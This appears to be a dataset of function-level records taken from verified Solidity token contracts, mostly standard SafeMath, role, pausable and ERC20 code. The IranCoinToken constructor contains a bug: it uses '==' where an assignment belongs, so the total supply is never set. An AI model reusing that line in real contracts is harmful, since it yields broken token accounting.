*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
104,
542
]
} | 12,431 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
... | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
670,
978
]
} | 12,432 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
... | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
| /**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
1109,
1264
]
} | 12,433 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
... | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
| /**
* @dev Adds two unsigned integers, reverts on overflow.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
1345,
1500
]
} | 12,434 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
... | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
| /**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
1653,
1782
]
} | 12,435 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | Roles | library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.beare... | add | function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
| /**
* @dev give an account access to this role
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
155,
346
]
} | 12,436 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | Roles | library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.beare... | remove | function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
| /**
* @dev remove an account's access to this role
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
420,
614
]
} | 12,437 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | Roles | library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.beare... | has | function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
| /**
* @dev check if an account has this role
* @return bool
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
703,
873
]
} | 12,438 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | Pausable | contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public vi... | paused | function paused() public view returns (bool) {
return _paused;
}
| /**
* @return true if the contract is paused, false otherwise.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
289,
372
]
} | 12,439 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | Pausable | contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public vi... | pause | function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
| /**
* @dev called by the owner to pause, triggers stopped state
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
825,
946
]
} | 12,440 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | Pausable | contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public vi... | unpause | function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
| /**
* @dev called by the owner to unpause, returns to normal state
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
1036,
1159
]
} | 12,441 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | totalSupply | function totalSupply() public view returns (uint256) {
return _totalSupply;
}
| /**
* @dev Total number of tokens in existence
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
297,
393
]
} | 12,442 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | balanceOf | function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
604,
715
]
} | 12,443 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | allowance | function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
1049,
1185
]
} | 12,444 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | transfer | function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
| /**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
1351,
1496
]
} | 12,445 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | approve | function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race... | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
2138,
2387
]
} | 12,446 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | transferFrom | function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
| /**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address... | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
2855,
3159
]
} | 12,447 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | increaseAllowance | function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
| /**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approva... | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
3669,
3997
]
} | 12,448 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | decreaseAllowance | function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
| /**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approva... | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
4512,
4850
]
} | 12,449 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | _transfer | function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
| /**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
5067,
5334
]
} | 12,450 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | _mint | function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
| /**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
5681,
5955
]
} | 12,451 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | _burn | function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
| /**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
6184,
6458
]
} | 12,452 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSuppl... | _burnFrom | function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
| /**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param valu... | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
6852,
7116
]
} | 12,453 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20Detailed | contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @retu... | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @return the name of the token.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
356,
444
]
} | 12,454 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20Detailed | contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @retu... | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @return the symbol of the token.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
506,
598
]
} | 12,455 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20Detailed | contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @retu... | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @return the number of decimals of the token.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
672,
760
]
} | 12,456 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20Burnable | contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target addres... | burn | function burn(uint256 value) public {
_burn(msg.sender, value);
}
| /**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
156,
240
]
} | 12,457 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | ERC20Burnable | contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target addres... | burnFrom | function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
| /**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2 | {
"func_code_index": [
494,
594
]
} | 12,458 | ||
BasicToken | BasicToken.sol | 0x0056a6ac46c0540b9b39bfeecae0c9482f80f809 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throw... | Ownable | function Ownable() public {
owner = msg.sender;
}
| /**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/ | NatSpecMultiLine | v0.4.19+commit.c4cbbb05 | bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802 | {
"func_code_index": [
246,
298
]
} | 12,459 | |||
BasicToken | BasicToken.sol | 0x0056a6ac46c0540b9b39bfeecae0c9482f80f809 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throw... | transferOwnership | function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.19+commit.c4cbbb05 | bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802 | {
"func_code_index": [
590,
750
]
} | 12,460 | |||
BasicToken | BasicToken.sol | 0x0056a6ac46c0540b9b39bfeecae0c9482f80f809 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (boo... | transfer | function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.... | /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.19+commit.c4cbbb05 | bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802 | {
"func_code_index": [
254,
613
]
} | 12,461 | |||
BasicToken | BasicToken.sol | 0x0056a6ac46c0540b9b39bfeecae0c9482f80f809 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (boo... | balanceOf | function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.19+commit.c4cbbb05 | bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802 | {
"func_code_index": [
809,
913
]
} | 12,462 | |||
BasicToken | BasicToken.sol | 0x0056a6ac46c0540b9b39bfeecae0c9482f80f809 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.... | approve | function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* ... | NatSpecMultiLine | v0.4.19+commit.c4cbbb05 | bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802 | {
"func_code_index": [
1145,
1319
]
} | 12,463 | |||
BasicToken | BasicToken.sol | 0x0056a6ac46c0540b9b39bfeecae0c9482f80f809 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.... | allowance | function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.4.19+commit.c4cbbb05 | bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802 | {
"func_code_index": [
1626,
1749
]
} | 12,464 | |||
BasicToken | BasicToken.sol | 0x0056a6ac46c0540b9b39bfeecae0c9482f80f809 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.... | increaseApproval | function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/ | NatSpecMultiLine | v0.4.19+commit.c4cbbb05 | bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802 | {
"func_code_index": [
1977,
2225
]
} | 12,465 | |||
BasicToken | BasicToken.sol | 0x0056a6ac46c0540b9b39bfeecae0c9482f80f809 | Solidity | IranCoinToken | contract IranCoinToken is StandardToken, Ownable {
string public constant name = "Zarig";
string public constant symbol = "ICD";
uint8 public constant decimals = 18;
uint256 public constant rewards = 8000000 * (10 ** uint256(decimals));
uint256 public constant INITIAL_SUPPLY = 17000000 * (10 ** uint256(decimals)... | /**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/ | NatSpecMultiLine | IranCoinToken | function IranCoinToken() public {
totalSupply == INITIAL_SUPPLY.add(rewards);
balances[msg.sender] = INITIAL_SUPPLY;
}
| /**
* @dev Constructor that gives msg.sender all of existing tokens.
*/ | NatSpecMultiLine | v0.4.19+commit.c4cbbb05 | bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802 | {
"func_code_index": [
401,
523
]
} | 12,466 | |
AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | TokenERC20 | contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
//
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (a... | TokenERC20 | function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; ... | /**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
732,
1211
]
} | 12,467 | |||
AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | TokenERC20 | contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
//
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (a... | _transfer | function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check for overflows
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = ba... | /**
* Internal transfer, only can be called by this contract
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
1281,
1668
]
} | 12,468 | |||
